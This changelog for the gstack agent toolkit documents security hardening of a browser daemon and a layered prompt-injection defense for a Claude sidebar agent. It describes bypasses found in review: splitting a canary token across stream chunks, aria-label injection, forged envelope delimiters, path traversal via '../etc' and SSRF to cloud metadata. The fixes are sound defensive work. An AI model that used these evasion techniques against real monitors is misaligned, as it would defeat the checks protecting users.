| `/activity/stream` auth | `?token=<ROOT>` in URL | HttpOnly `gstack_sse` cookie, 30-min TTL, stream-scope only |
| `/inspector/events` auth | `?token=<ROOT>` in URL | same cookie as /activity/stream |
| `/connect` rate limit | 3/min (blocked legit retries) | 300/min (flood-only, no pairing DoS) |
| `/welcome` path traversal | `GSTACK_SLUG="../etc"` interpolates | regex `^[a-z0-9_-]+$`, fallback to built-in |
| Tunnel auth-denial logging | none | async JSONL to `~/.gstack/security/attempts.jsonl`, rate-capped 60/min |
| Windows v20 ABE via CDP | undocumented elevation | documented non-goal, tracked as #1136 |

| Review layer | Verdict | Outcome |
|---|---|---|
| `/plan-ceo-review` (Claude) | SELECTIVE EXPANSION | 7 proposals, 7 accepted, critical gap on extension sidebar bootstrap caught |
| `/codex` (outside voice) | 14 findings | 3 factual errors in the plan fixed, 4 substantive tensions resolved, 2 new CVE classes added |
| `/plan-eng-review` (Claude) | 5 arch decisions locked | tunnel lifecycle, token scoping, PR #1026 handling, SSE cookie design, route allowlist |

### What this means for anyone running pair-agent

Run `pair-agent --client test-agent` on your laptop. Share the ngrok URL with someone. Their agent drives your browser. Your sidebar keeps showing you what they're doing. A stranger who stumbles onto that ngrok URL in the meantime gets 404 on everything except `/connect`, and `/connect` without a setup key goes nowhere. Nothing about the command you type changes.

### Itemized changes

#### Added

- **Dual-listener HTTP architecture.** When a tunnel is active, the daemon binds a dedicated listener on an ephemeral 127.0.0.1 port and points `ngrok.forward()` at it. `/tunnel/start` lazy-binds the listener; `/tunnel/stop` tears it down. Hard-fails on bind error, never falls back to the local port. `BROWSE_TUNNEL=1` startup follows the same pattern. `browse/src/server.ts` ~320 lines.
- **Tunnel surface filter.** Runs before every route dispatch. 404s paths not on `TUNNEL_PATHS` (`/connect`, `/command`, `/sidebar-chat`). 403s any request carrying the root bearer token with a clear hint. 401s non-/connect requests without a scoped token. Every denial logs to `~/.gstack/security/attempts.jsonl`.
- **Tunnel command allowlist.** `/command` on the tunnel surface enforces `TUNNEL_COMMANDS` (17 browser-driving commands: `goto`, `click`, `text`, `screenshot`, `html`, `links`, `forms`, `accessibility`, `attrs`, `media`, `data`, `scroll`, `press`, `type`, `select`, `wait`, `eval`). Remote paired agents cannot launch new browsers, configure the daemon, or touch the inspector.
- **View-only SSE session cookie.** New `browse/src/sse-session-cookie.ts` registry with `POST /sse-session` mint endpoint. 256-bit tokens, 30-minute TTL, HttpOnly + SameSite=Strict. Scope-isolated from the main token registry at the module-boundary level (the module does not import `token-registry.ts`). Prior learning applied: `cookie-picker-auth-isolation`, 10/10 confidence.
- **Tunnel auth-denial log.** `browse/src/tunnel-denial-log.ts`, async `fs.promises.appendFile` with 60/min rate cap in-process. Prior learning applied: `sync-audit-log-io`, 10/10 confidence.
- **E2E pairing test.** `browse/test/pair-agent-e2e.test.ts`, 12 behavioral tests against a spawned daemon (BROWSE_HEADLESS_SKIP=1). Verifies `/pair` → `/connect` → scoped token → `/command` flow, `?token=` query param rejection, `/sse-session` cookie flags. ~220ms, no network.
- **ARCHITECTURE.md dual-listener contract.** Per-endpoint disposition table (local vs tunnel), tunnel denial log model, SSE cookie scope, N2 non-goal documentation.

#### Changed

- **SSE endpoints no longer accept `?token=` in the URL.** `/activity/stream` and `/inspector/events` now take Bearer or the `gstack_sse` cookie. Extension (`extension/sidepanel.js`) fetches the cookie once at bootstrap via `POST /sse-session`, then opens `EventSource` with `withCredentials: true`. The URL never carries a secret.
- **`/connect` rate limit loosened from 3/min to 300/min.** Setup keys are 24 random bytes; 3/min was a brute-force defense in name only and caused real pairing failures. 300/min handles floods without ever triggering on legitimate use.
- **`/welcome` GSTACK_SLUG gated on `^[a-z0-9_-]+$`.** Defense-in-depth for a path not exploitable today but trivially mitigable.
- **`/pair` and `/tunnel/start` probe the cached tunnel via `GET /connect`, not `/health`.** `/health` is no longer reachable on the tunnel surface under the dual-listener design.
- **`cookie-import-browser.ts` comment corrected.** Previously claimed "no worse than baseline", wrong on Windows with v20 App-Bound Encryption, where the CDP port IS an elevation path. Documented with a tracking issue for the `--remote-debugging-pipe` follow-up.

#### Fixed

- **SSRF via download + scrape.** `page.request.fetch` calls in `browse/src/write-commands.ts` now pass through `validateNavigationUrl`. Blocks cloud metadata endpoints (AWS IMDSv1, GCP, Azure), RFC1918 ranges, `file://`. Derived from PR #1029 by @garagon.
- **Envelope sentinel escape on scoped snapshot.** `browse/src/snapshot.ts` and `browse/src/content-security.ts` now share `escapeEnvelopeSentinels()`. Page content containing the literal envelope delimiter can no longer forge a fake "trusted" block in the LLM context. Derived from PR #1031 by @garagon.
- **Hidden-element detection across all DOM-reading channels.** Previously only `command === 'text'` ran `markHiddenElements`. Now every DOM channel (`html`, `links`, `forms`, `accessibility`, `attrs`, `media`, `data`, `ux-audit`) surfaces hidden-content warnings in the envelope. Derived from PR #1032 by @garagon.
- **`--from-file` payload path validation.** `load-html --from-file` and `pdf --from-file` now run `validateReadPath` on the payload path for parity with the direct-API paths. Closes a CLI/API escape hatch for `SAFE_DIRECTORIES`. Derived from PR #1103 by @garagon.
- **`design/src/serve.ts` interpolated `url.origin` through `JSON.stringify`.** Defensive escape for origin values in served HTML. Contributed by @theqazi (PR #1073 partial).
- **`scripts/slop-diff.ts` narrows `shell: true` to Windows only.** Matches the platform-specific need without widening the shell-interpretation surface on POSIX. Contributed by @theqazi (PR #1073 partial).

#### For contributors

- F1 (dual-listener refactor) is bisected as four commits on the branch: rate-limit loosening, new `tunnel-denial-log` module, the server.ts refactor, and the new source-level test suite. Each commit is independently green. Subsequent wave items rebase onto F1 cleanly.
- Credits: @garagon (critical bug surface in PR #1026 plus SSRF, envelope, DOM-channel coverage, and --from-file PRs), @Hybirdss (PR #1002 concept, superseded by F1 but informed the policy model), @HMAKT99 (PRs #469 and #472 — both ended up already-landed-on-main; credit for surfacing the issues), @theqazi (2 commits from #1073, skills portion deferred pending internal voice review per CLAUDE.md).
- Codex-reviewed plan stored at `~/.gstack/projects/garrytan-gstack/ceo-plans/2026-04-21-security-wave-v1.5.2.md`. Eng-review test plan at `~/.gstack/projects/garrytan-gstack/garrytan-garrytan-sec-wave-eng-review-test-plan-*.md`.
- Non-goal tracked as #1136: switch cookie-import-browser CDP transport from TCP `--remote-debugging-port` to `--remote-debugging-pipe` so the Windows v20 ABE elevation path is closed. Non-trivial (Playwright doesn't expose the pipe transport; needs a minimal CDP-over-pipe client); intentionally deferred from this wave.

## [1.5.1.0] - 2026-04-20

## **Three visible bugs in v1.4.0.0 /make-pdf, all fixed.**

Page footers showed "6 of 8" twice on every page because Chromium's native footer and our print CSS were both rendering numbers. A markdown title containing `&` rendered as `Faber &amp;amp; Faber` in `<title>` and TOC entries, because the extractors stripped tags but forgot to decode entities. On Linux (Docker, CI, servers), body text fell through to DejaVu Sans because neither Helvetica nor Arial is installed by default, and nothing in the font stack caught that. This release fixes all three and extends the fix beyond the obvious symptom each time.

### The numbers that matter

All three bugs were caught and expanded in review before any code was written. The plan went through `/plan-eng-review` (Claude), then `/codex` (outside voice), then implementation. Source: `.github/docker/Dockerfile.ci` (Linux fonts), `make-pdf/test/render.test.ts` (17 new tests), `git log main..HEAD` (this branch).

| Surface | Before (v1.4.0.0) | After (v1.5.1.0) |
|---------|-------------------|-----------------|
| Page footer | "6 of 8" stacked twice | "6 of 8" once |
| `# Faber & Faber` in `<title>` | `Faber &amp;amp; Faber` | `Faber &amp; Faber` |
| TOC entry with `&` | Double-escaped | Single-escaped |
| `&#169;` (copyright) in H1 | Broken | Decodes to `©` |
| `--no-page-numbers` CLI flag | Silently did nothing | Actually suppresses page numbers |
| `--footer-template` | Layered CSS page numbers on top | Custom footer wins cleanly |
| Linux PDF body font | DejaVu Sans (wrong) | Liberation Sans (metric-compatible Helvetica clone) |

| Review layer | Findings | Outcome |
|--------------|----------|---------|
| `/plan-eng-review` (Claude) | 1 architectural gap | expanded Bug 1 scope to include CSS-side conditional |
| `/codex` (outside voice) | 11 findings | 11 incorporated (data flow, TOC site, decoder collision, footer semantic, test contract, scope boundaries, font dependency) |
| Cross-model agreement rate | ~30% | Codex found 7 issues Claude's eng review missed by staying too high-altitude |

The agreement rate is the tell. One reviewer was not enough on this diff. Codex caught that my original "one-line fix" for Bug 1 would have left the `--no-page-numbers` CLI flag silently dead, because `RenderOptions` didn't carry `pageNumbers` and the orchestrator's `render()` call didn't pass it. Without the second opinion, the CLI flag ships broken again.

### What this means for anyone generating PDFs

Page numbers are now controlled by one flag from CLI to CSS, with the custom-footer semantic restored. Titles, cover pages, and TOC entries render HTML entities correctly, including numeric entities like `&#169;`. Linux environments no longer need to know about fonts-liberation — the Dockerfile installs it explicitly and a build-time `fc-match` check fails the image if the font disappears. Run `bun run dev make-pdf <file.md> --cover --toc` on Mac, and now also inside Docker, and the output looks the same.

### Itemized changes

#### Fixed

- **Page numbers no longer render twice on every page.** Chromium's native footer used to layer on top of our `@page @bottom-center` CSS. Now CSS is the single source of truth; Chromium native numbering is off unconditionally.
- **`--no-page-numbers` works end-to-end.** The CLI flag now reaches the CSS layer via `RenderOptions.pageNumbers`. Previously it died at the orchestrator and the CSS kept rendering numbers regardless.
- **`--footer-template` cleanly replaces the stock footer.** Passing a custom footer now also suppresses the CSS page numbers, preserving the original "custom footer wins" semantic that existed before Bug 1 collided with it.
- **HTML entities in titles, cover pages, and TOC entries render correctly.** A markdown heading like `# Faber & Faber` renders as `Faber &amp; Faber` in `<title>` (single-escaped) instead of `Faber &amp;amp; Faber` (double-escaped). Covers both extractor call sites: `extractFirstHeading` (title + cover) and `extractHeadings` (TOC).
- **Numeric HTML entities decode too.** `&#169;` in an H1 now renders as `©` in the PDF title. Decimal and hex numeric entities both supported.
- **Linux PDFs render in Liberation Sans instead of DejaVu Sans.** Font stacks in all four print-CSS slots (body, running header, page number, CONFIDENTIAL label) now include `"Liberation Sans"` between Helvetica and Arial. Metric-compatible, SIL OFL 1.1, installs via `fonts-liberation`.

#### Changed

- `.github/docker/Dockerfile.ci` installs `fonts-liberation` + `fontconfig` explicitly with retries, runs `fc-cache -f`, and verifies `fc-match "Liberation Sans"` in the final build step. Previously relied on Playwright's `install-deps` pulling it in transitively, which could silently regress on upgrade.
- `SKILL.md.tmpl` documents the Linux font dependency for users who install outside CI/Docker.

#### For contributors

- New helper `decodeTextEntities` in `render.ts` (distinct from existing `decodeTypographicEntities`, which intentionally preserves `&amp;` in pipeline HTML where `&amp;amp;` can be legitimate). Use the new one when extracting plain text destined for `<title>`, cover, or TOC.
- `PrintCssOptions.pageNumbers` wraps the `@bottom-center` rule in a conditional matching the existing `showConfidential` pattern. Thread `pageNumbers` through `RenderOptions` and forward from `orchestrator.ts` into both `render()` call sites (generate + preview).
- 17 new tests in `make-pdf/test/render.test.ts`: `printCss` pageNumbers isolation (3), `render()` data flow with footerTemplate (4), parameterized entity contracts across `&`, `<`, `>`, `©`, `—` (5), `<title>` exact single-escape assertion, TOC single-escape, numeric entity decode, smartypants-interacts contract, Liberation Sans body + @page box coverage (2).
- Known test gaps (small, future PR): hex numeric entity path, amp-last ordering with double-encoded input, SKILL.md Linux note content assertion. Orchestrator → `browseClient.pdf({pageNumbers: false})` and orchestrator → `render()` forwarding are covered transitively via the CSS end-to-end tests, not asserted directly.

## [1.5.0.0] - 2026-04-20

## **Your sidebar agent now defends itself against prompt injection.**

Open a web page with hidden malicious instructions, gstack's sidebar doesn't just trust that Claude will do the right thing. A 22MB ML classifier bundled with the browser scans every page you load, every tool output, every message you send. If it looks like a prompt injection attack, the session stops before Claude executes anything dangerous. A secret canary token in the system prompt catches attempts to exfil your session, if that token shows up anywhere in Claude's output, tool arguments, URLs, or file writes, the session terminates and you see exactly which layer fired and at what confidence. Attempts go to a local log you can read, and optionally to aggregate community telemetry so every gstack user becomes a sensor for defense improvements.

### What changes for you

Open the Chrome sidebar and you'll see a small `SEC` badge in the top right. Green means the full defense stack is loaded. Amber means something degraded (model warmup still running on first-ever use, about 30s). Red means the security module itself crashed and you're running on architectural controls only. Hover for per-layer detail.

If an attack fires, a centered alert-heavy banner appears, "Session terminated, prompt injection detected from {domain}". Expand "What happened" and you see the exact classifier scores. Restart with one click. No mystery.

### The numbers

| Metric | Before v1.4 | After v1.4 |
|---|---|---|
| Defense layers | 4 (content-security.ts) | **8** (adds ML content, ML transcript, canary, verdict combiner) |
| Attack channels covered by canary | 0 | **5** (text stream, tool args, URLs, file writes, subprocess args) |
| First-party classifier cost | none | **$0** (bundled, runs locally) |
| Model size shipped | 0 | **22MB** (TestSavantAI BERT-small, int8 quantized) |
| Optional ensemble model | none | **721MB DeBERTa-v3** (opt-in via `GSTACK_SECURITY_ENSEMBLE=deberta`) |
| BLOCK decision rule | none | **2-of-2 ML agreement** (or 2-of-3 with ensemble), prevents single-classifier false positives from killing sessions |
| Tests covering security surface | 12 | **280** (25 foundation + 23 adversarial + 10 integration + 9 classifier + 7 Playwright + 3 bench + 6 bun-native + 15 source-contracts + 11 adversarial-fix regressions + others) |
| Attack telemetry aggregation | local file only | **community-pulse edge function + gstack-security-dashboard CLI** |

### What actually ships

* **security.ts** — canary injection plus check, verdict combiner with ensemble rule, attack log with rotation, cross-process session state, device-salted payload hashing
* **security-classifier.ts** — TestSavantAI (default) plus Claude Haiku transcript check plus opt-in DeBERTa-v3 ensemble, all with graceful fail-open
* **Pre-spawn ML scan** on every user message plus tool output scan on every Read, Glob, Grep, WebFetch, Bash result
* **Shield icon** with 3 states (green, amber, red) updating continuously via `/sidebar-chat` poll
* **Canary leak banner** (centered alert-heavy, per approved design mockup) with expandable layer-score detail
* **Attack telemetry** via existing `gstack-telemetry-log` to `community-pulse` to Supabase pipe (tier-gated, community uploads, anonymous local-only, off is no-op)
* **`gstack-security-dashboard` CLI** — attacks detected last 7 days, top attacked domains, layer distribution, verdict split
* **BrowseSafe-Bench smoke harness** — 200 cases from Perplexity's 3,680-case adversarial dataset, cached hermetically, gates on signal separation
* **Live Playwright integration test** pins the L1 through L6 defense-in-depth contract
* **Bun-native classifier research skeleton** plus design doc — WordPiece tokenizer matching transformers.js output, benchmark harness, FFI roadmap for future 5ms native inference

### Hardening during ship

Two independent adversarial reviewers (Claude subagent and Codex/gpt-5.4) converged on four bypass paths. All four fixed before merge:

* **Canary stream-chunk split** — rolling-buffer detection across consecutive `text_delta` and `input_json_delta` events. Previously `.includes()` ran per-chunk, so an attacker could ask Claude to emit the canary split across two deltas and evade the check.
* **Snapshot command bypass** — `$B snapshot` emits ARIA-name output from the page, but was missing from `PAGE_CONTENT_COMMANDS`, so malicious aria-labels flowed to Claude without the trust-boundary envelope every other read path gets.
* **Tool-output single-layer BLOCK** — `combineVerdict` now accepts `{ toolOutput: true }`. On tool-result scans the Stack Overflow FP concern doesn't apply (content wasn't user-authored), so a single ML classifier at BLOCK threshold now blocks directly instead of degrading to WARN.
* **Transcript classifier tool-output context** — Haiku previously saw only `user_message + tool_calls` (empty input) on tool-result scans, so only testsavant_content got a signal. Now receives the actual tool output text and can vote.

Also: attribute-injection fix in `escapeHtml` (escapes `"` and `'` now), `GSTACK_SECURITY_OFF=1` is now a real gate in `loadTestsavant`/`loadDeberta` (not just a doc promise), device salt cached in-process so FS-unwritable environments don't break hash correlation, tool-use registry entries evicted on `tool_result` (memory leak fix), dashboard uses `jq` for brace-balanced JSON parse when available.

### Haiku transcript classifier unbroken (silent bug + gate removal)

The transcript classifier (`checkTranscript` calling `claude -p --model haiku`) was shipping dead. Two bugs:

1. Model alias `haiku-4-5` returned 404 from the CLI. Correct shorthand is `haiku` (resolves to `claude-haiku-4-5-20251001` today, stays on the latest Haiku as models roll).
2. The 2-second timeout was below the floor. Fresh `claude -p` spawn has ~2-3s CLI cold start + 5-12s inference on ~1KB prompts. At 2s every call timed out. Bumped to 15s.

Compounding the dead classifier: `shouldRunTranscriptCheck` gated Haiku on any other layer firing at `>= LOG_ONLY`. On the ~85% of BrowseSafe-Bench attacks that L4 misses (TestSavantAI recall is ~15% on browser-agent-specific attacks), Haiku never got a chance to vote. We were gating our best signal on our weakest. For tool outputs this gate is now removed — L4 + L4c + Haiku always run in parallel.

Review-on-BLOCK UX (centered alert-heavy banner with suspected text excerpt + per-layer scores + Allow / Block session buttons) lands alongside so false positives are recoverable instead of session-killing.

### Measured: BrowseSafe-Bench (200-case smoke)

Same 200 cases, before and after the fixes above:

| | L4-only (before) | Ensemble with Haiku (after) |
|---|---|---|
| Detection rate | 15.3% | **67.3%** |
| False-positive rate | 11.8% | 44.1% |
| Runtime | ~90s | ~41 min (Haiku is the long pole) |

**4.4x lift in detection.** FP rate also climbed 3.7x — Haiku is more aggressive and fires on edge cases that TestSavantAI smiles through. The review banner makes those FPs recoverable: user sees the suspected excerpt + layer scores, clicks Allow once, session continues. A P1 follow-up is tuning the Haiku WARN threshold (currently 0.6, probably should be 0.7-0.85) against real-world attempts.jsonl data once gstack users start reporting.

Honest shipping posture: this is meaningfully safer than v1.3.x, not bulletproof. Canary (deterministic), content-security L1-L3 (structural), and the review banner remain the load-bearing defenses when the ML layers miss or over-fire.

### Env knobs

* `GSTACK_SECURITY_OFF=1` — emergency kill switch (canary still injected, ML skipped)
* `GSTACK_SECURITY_ENSEMBLE=deberta` — opt-in 721MB DeBERTa-v3 ensemble classifier for 2-of-3 agreement

### For contributors

Supabase migration `004_attack_telemetry.sql` adds five nullable columns to `telemetry_events` (`security_url_domain`, `security_payload_hash`, `security_confidence`, `security_layer`, `security_verdict`) plus two partial indices for dashboard aggregation. `community-pulse` edge function aggregates the security section.

## [1.4.0.0] - 2026-04-20

## **Turn any markdown file into a PDF that looks finished.**

The new `/make-pdf` skill takes a `.md` file and produces a publication-quality PDF. 1 inch margins. Helvetica. Page numbers in the footer. Running header with the doc title. Curly quotes, em dashes, ellipsis (…). Optional cover page. Optional clickable table of contents. Optional diagonal DRAFT watermark. Copy any paragraph out of the PDF and paste it into a Google Doc: it pastes as one clean block, not "S a i l i n g" spaced out letter by letter. That last part is the whole game. Most markdown-to-PDF tools produce output that reads like a legal document run through a scanner three times. This one reads like a real essay or a real letter.

### What you can do now

- `$P generate letter.md` writes a clean letter PDF to `/tmp/letter.pdf` with sensible defaults.
- `$P generate --cover --toc --author "Garry Tan" --title "On Horizons" essay.md essay.pdf` adds a left-aligned cover page (title, subtitle, date, hairline rule) and a TOC from your H1/H2/H3 headings.
- `$P generate --watermark DRAFT memo.md draft.pdf` overlays a diagonal DRAFT watermark on every page. Send as draft. Drop the flag when it's final.
- `$P generate --no-chapter-breaks memo.md` disables the default "every H1 starts a new page" behavior for memos that happen to have multiple top-level headings.
- `$P generate --allow-network essay.md` lets external images load. Off by default so someone else's markdown can't phone home through a tracking pixel when you generate their PDF.
- `$P preview essay.md` renders the same HTML and opens it in your browser. Refresh as you edit. Skip the PDF round trip until you're ready.
- `$P setup` verifies browse + Chromium + pdftotext are installed and runs an end-to-end smoke test.

### Why the text actually copies cleanly

Headless Chromium emits per-glyph `Tj` operators for webfonts with non-standard metrics tables. That's why every other "markdown to PDF" tool produces PDFs where copy-paste turns "Sailing" into "S a i l i n g". We ship with system Helvetica for everything ... Chromium has native metrics for it and emits clean word-level `Tj` operators. The CI matrix runs a combined-features fixture (smartypants + hyphens + ligatures + bold/italic + inline code + lists + blockquote + chapter breaks, all on) through `pdftotext` and asserts the extracted text matches a handwritten expected file. If any feature breaks extraction, the gate fails.

### Under the hood

make-pdf shells out to `browse` for Chromium lifecycle. No second Playwright install, no second 58MB binary, no second codesigning dance. `$B pdf` grew from "take a screenshot as A4" into a real PDF engine with `--format`/`--width`/`--height`, `--margins`, `--header-template`/`--footer-template`, `--page-numbers`, `--tagged`, `--outline`, `--toc`, `--tab-id`, and `--from-file` for large payloads (Windows argv caps). `$B load-html` and `$B js` got `--tab-id` too, so parallel `$P generate` calls never race on the active tab. `$B newtab --json` returns structured output so make-pdf can parse the tab ID without regex-matching log strings.

### For contributors

- Skill file: `make-pdf/SKILL.md.tmpl`. Binary source: `make-pdf/src/`. Test fixtures: `make-pdf/test/fixtures/`. CI workflow: `.github/workflows/make-pdf-gate.yml`.
- New resolver `{{MAKE_PDF_SETUP}}` emits the `$P=` alias with the same discovery order as `$B`: `MAKE_PDF_BIN` env override, then local skill root, then global install, then PATH.
- Combined-features copy-paste gate is the P0 test in `make-pdf/test/e2e/combined-gate.test.ts`. Per-feature gates are P1 diagnostics.
- Phase 4 deferrals: vendored Paged.js for accurate TOC page numbers, vendored highlight.js for syntax highlighting, drop caps, pull quotes, CMYK safe conversion, two-column layout.
- Preamble bash now emits `_EXPLAIN_LEVEL` and `_QUESTION_TUNING` so downstream skills can read them at runtime. Golden-file fixtures updated to match.

## [1.3.0.0] - 2026-04-19

## **Your design skills learn your taste.**
## **Your session state becomes files you can grep, not a black box.**

v1.3 is about the things you do every day. `/design-shotgun` now remembers which fonts, colors, and layouts you approve across sessions, so the next round of variants leans toward your actual taste instead of resetting to Inter every time. `/design-consultation` has a "would a human designer be embarrassed by this?" self-gate in Phase 5 and a "what's the one thing someone will remember?" forcing question in Phase 1, AI-slop output gets discarded before it reaches you. `/context-save` and `/context-restore` write session state to plaintext markdown in `~/.gstack/projects/$SLUG/checkpoints/`, you can read and edit and move between machines. Flip on continuous checkpoint mode (`gstack-config set checkpoint_mode continuous`) and it also drops `WIP:` commits with structured `[gstack-context]` bodies into your git log. Claude Code already manages its own session state, this is a parallel track you control, in formats you own.

### The numbers that matter

Setup: these come from the v1.3 feature surface. Reproducible via `grep "Generate a different" design-shotgun/SKILL.md.tmpl`, `ls model-overlays/`, `cat bin/gstack-taste-update` for the schema, and `gstack-config get checkpoint_mode` for the runtime wiring.

| Metric                                           | BEFORE v1.3                 | AFTER v1.3                              | Δ           |
|--------------------------------------------------|------------------------------|-----------------------------------------|-------------|
| **Design-variant convergence gate**              | no requirement               | **3 axes required** (font + palette + layout must differ) | **+3**  |
| **AI-slop font blacklist**                       | ~8 fonts                     | **10+** (added Space Grotesk, system-ui as primary) | **+2+** |
| **Taste memory across `/design-shotgun` rounds** | none                         | **per-project JSON, 5%/wk decay**       | **new**     |
| **Session state format**                         | Claude Code's opaque session store | **markdown in `~/.gstack/` by default, plus `WIP:` git commits if you opt into continuous mode** (parallel track) | **new** |
| **`/context-restore` sources**                   | markdown files only          | **markdown + `[gstack-context]` from WIP commits** | **+1** |
| **Models with behavioral overlays**              | 1 (Claude implicit)          | **5** (claude, gpt, gpt-5.4, gemini, o-series) | **+4** |

The single most striking row: session state stops being a black box. Claude Code's built-in session management works fine on its own terms, but you can't `grep` it, you can't read it, you can't hand it to a different tool. `/context-save` writes markdown to `~/.gstack/projects/$SLUG/checkpoints/` you can open in any editor. Continuous mode (opt-in) also drops `WIP:` commits with structured `[gstack-context]` bodies into your git log, so `git log --grep "WIP:"` shows the whole thread. Either way, plain text you own, not a proprietary store.

### What this means for gstack users

If you're a solo builder or founder shipping a product one sprint at a time, `/design-shotgun` stops handing you the same four variants every time and starts learning which ones you pick. `/design-consultation` stops defaulting to Inter + gray + rounded-corners and forces itself to answer "what's memorable?" before it finishes. `/context-save` and `/context-restore` give you a parallel, inspectable record of session state that lives alongside Claude Code's own, markdown files in your home directory by default, plus git commits if you opt into continuous mode. When you need to hand work off to a different tool or just review what your agent actually decided, you open a file or read `git log`. Run `/gstack-upgrade`, try `/design-shotgun` on your next landing page, and approve a variant so the taste engine has a starting signal.

### Itemized changes

### Added

#### Design skills that stop looking like AI

- **Anti-slop design constraints.** `/design-consultation` now asks "What's the one thing someone will remember?" as a forcing question in Phase 1, and runs a "Would a human designer be embarrassed by this?" self-gate in Phase 5 — output that fails the gate gets discarded and regenerated. `/design-shotgun` gets an anti-convergence directive: each variant must use a different font, palette, and layout, or one of them failed. Space Grotesk (the new "safe alternative to Inter") added to the overused-fonts list. `system-ui` as a primary font added to the AI-slop blacklist.
- **Design taste engine.** Your approvals and rejections in `/design-shotgun` get written to a persistent per-project taste profile at `~/.gstack/projects/$SLUG/taste-profile.json`. Tracks fonts, colors, layouts, and aesthetic directions with Laplace-smoothed confidence. Decays 5% per week so stale preferences fade. `/design-consultation` and `/design-shotgun` both factor in your demonstrated preferences on future runs, so variant #3 this month remembers what you liked in variant #1 last month.

#### Session state you can see, grep, and move

- **Continuous checkpoint mode (opt-in, local by default).** Flip it on with `gstack-config set checkpoint_mode continuous` and skills auto-commit your work with `WIP: <description>` prefix and a structured `[gstack-context]` body (decisions made, remaining work, failed approaches) directly into your project's git log. Runs alongside Claude Code's built-in session management and alongside the default `/context-save` markdown files in `~/.gstack/`. The git-based track is useful when you want `git log --grep "WIP:"` to show you the whole reasoning thread on a branch, or when you want to review what your agent did without opening a file. Push is opt-in via `checkpoint_push=true`, default is local-only so you don't accidentally trigger CI on every WIP commit.
- **`/context-restore` reads WIP commits.** In addition to the markdown saved-context files, `/context-restore` now parses `[gstack-context]` blocks from WIP commits on the current branch. When you want to pick up where you left off with structured decisions and remaining-work in view, it's right there.
- **`/ship` non-destructively squashes WIP commits** before creating the PR. Uses `git rebase --autosquash` scoped to WIP commits only. Non-WIP commits on the branch are preserved. Aborts on conflict with a `BLOCKED` status instead of destroying real work. So you can go wild with `WIP:` commits all week and still ship a clean bisectable PR.

#### Quality-of-life

- **Feature discovery prompt after upgrade.** When `JUST_UPGRADED` fires, gstack offers to enable new features once per user (per-feature marker files at `~/.gstack/.feature-prompted-{name}`). Skipped entirely in spawned sessions. No more silent features that never get discovered.
- **Context health soft directive (T2+ skills).** During long-running skills (`/qa`, `/investigate`, `/cso`), gstack now nudges you to write periodic `[PROGRESS]` summaries. If you notice you're going in circles, STOP and reassess. Self-monitoring for 50+ tool-call sessions. No fake thresholds, no enforcement. Progress reports never mutate git state.

#### Cross-host support

- **Per-model behavioral overlays via `--model` flag.** Different LLMs need different nudges. Run `bun run gen:skill-docs --model gpt-5.4` and every generated skill picks up GPT-tuned behavioral patches. Five overlays ship in `model-overlays/`: claude (todo-list discipline), gpt (anti-termination + completeness), gpt-5.4 (anti-verbosity, inherits gpt), gemini (conciseness), o-series (structured output). Overlay files are plain markdown — edit in place, no code changes. `MODEL_OVERLAY: {model}` prints in the preamble output so you know which one is active.

#### Config

- **`gstack-config list` and `defaults`** subcommands. `list` shows all config keys with current value AND source (user-set vs default). `defaults` shows the defaults table. Fixes the prior gap where `get` returned empty for missing keys instead of falling back to the documented defaults.
- **`checkpoint_mode` and `checkpoint_push` config keys.** New knobs for continuous checkpoint mode. Both default to safe values (`explicit` mode, no auto-push).

#### Power-user / internal

- **`gstack-model-benchmark` CLI + `/benchmark-models` skill.** Run the same prompt across Claude, GPT (via Codex CLI), and Gemini side-by-side. Compares latency, tokens, cost, and optionally output quality via an Anthropic SDK judge (`--judge`, ~$0.05/run). Per-provider auth detection, pricing tables, tool-compatibility map, parallel execution, per-provider error isolation. Output as table / JSON / markdown. `--dry-run` validates flags + auth without spending API calls. `/benchmark-models` wraps the CLI in an interactive flow (pick prompt → confirm providers → decide on judge → run → interpret) for when you want to know "which model is actually best for my `/qa` skill" with data instead of vibes.

### Changed

- **Preamble split into submodules.** `scripts/resolvers/preamble.ts` was 740 lines with 18 generators inline. Now it's a ~100-line composition root that imports each generator from `scripts/resolvers/preamble/*.ts`. Output is byte-identical (verified via `diff -r` on all 135 generated SKILL.md files across all hosts before and after the refactor). Maintenance gets easier: adding a new preamble section is now "create one file, add one import line" instead of "find a spot in the god-file." This also absorbs main's v1.1.2 mode-posture and v1.0 writing-style additions as submodules (`generate-writing-style.ts`, `generate-writing-style-migration.ts`).
- **Anti-slop dead code removed.** `scripts/gen-skill-docs.ts` had a duplicate copy of `AI_SLOP_BLACKLIST`, `OPENAI_HARD_REJECTIONS`, and `OPENAI_LITMUS_CHECKS`. Deleted — `scripts/resolvers/constants.ts` is now the single source. No more drift risk.
- **Token ceiling raised from 25K to 40K.** Skills legitimately packing a lot of behavior (`/ship`, `/plan-ceo-review`, `/office-hours`) were tripping warnings that no longer reflect real risk given today's 200K-1M context windows and prompt caching. CLAUDE.md's guidance reframes the ceiling as a "watch for runaway growth" signal rather than a forcing compression target.

### Fixed

- **Codex adapter works in temp working directories.** The GPT adapter (via `codex exec`) now passes `--skip-git-repo-check` so benchmarks running in non-git temp dirs stop hitting "Not inside a trusted directory" errors. `-s read-only` stays the safety boundary; the flag only skips the interactive trust prompt.
- **`--models` list deduplication.** Passing `--models claude,claude,gpt` no longer runs Claude twice and double-bills. The flag parser dedupes via Set while preserving first-occurrence order.
- **CI Docker build on Ubicloud runners.** Two fixes merged during the branch's life: (1) switched the Node.js install from NodeSource apt to direct download of the official nodejs.org tarball, since Ubicloud runners regularly couldn't reach archive.ubuntu.com / security.ubuntu.com; (2) added `xz-utils` to the system deps so `tar -xJ` on the `.tar.xz` tarball actually works.

### For contributors

- **Test infrastructure for multi-provider benchmarking.** `test/helpers/providers/{types,claude,gpt,gemini}.ts` defines a uniform `ProviderAdapter` interface and three adapters wrapping the existing CLI runners. `test/helpers/pricing.ts` has per-model cost tables (update quarterly). `test/helpers/tool-map.ts` declares which tools each provider's CLI exposes — benchmarks that need Edit/Glob/Grep correctly skip Gemini and report `unsupported_tool`.
- **Model taxonomy in neutral `scripts/models.ts`.** Avoids an import cycle through `hosts/index.ts` that would have happened if `Model` lived in `scripts/resolvers/types.ts`. `resolveModel()` handles family heuristics: `gpt-5.4-mini` → `gpt-5.4`, `o3` → `o-series`, `claude-opus-4-7` → `claude`.
- **`scripts/resolvers/preamble/`** — 18 single-purpose generators, 16-160 lines each. The composition root in `scripts/resolvers/preamble.ts` imports them and wires them into the tier-gated section list.
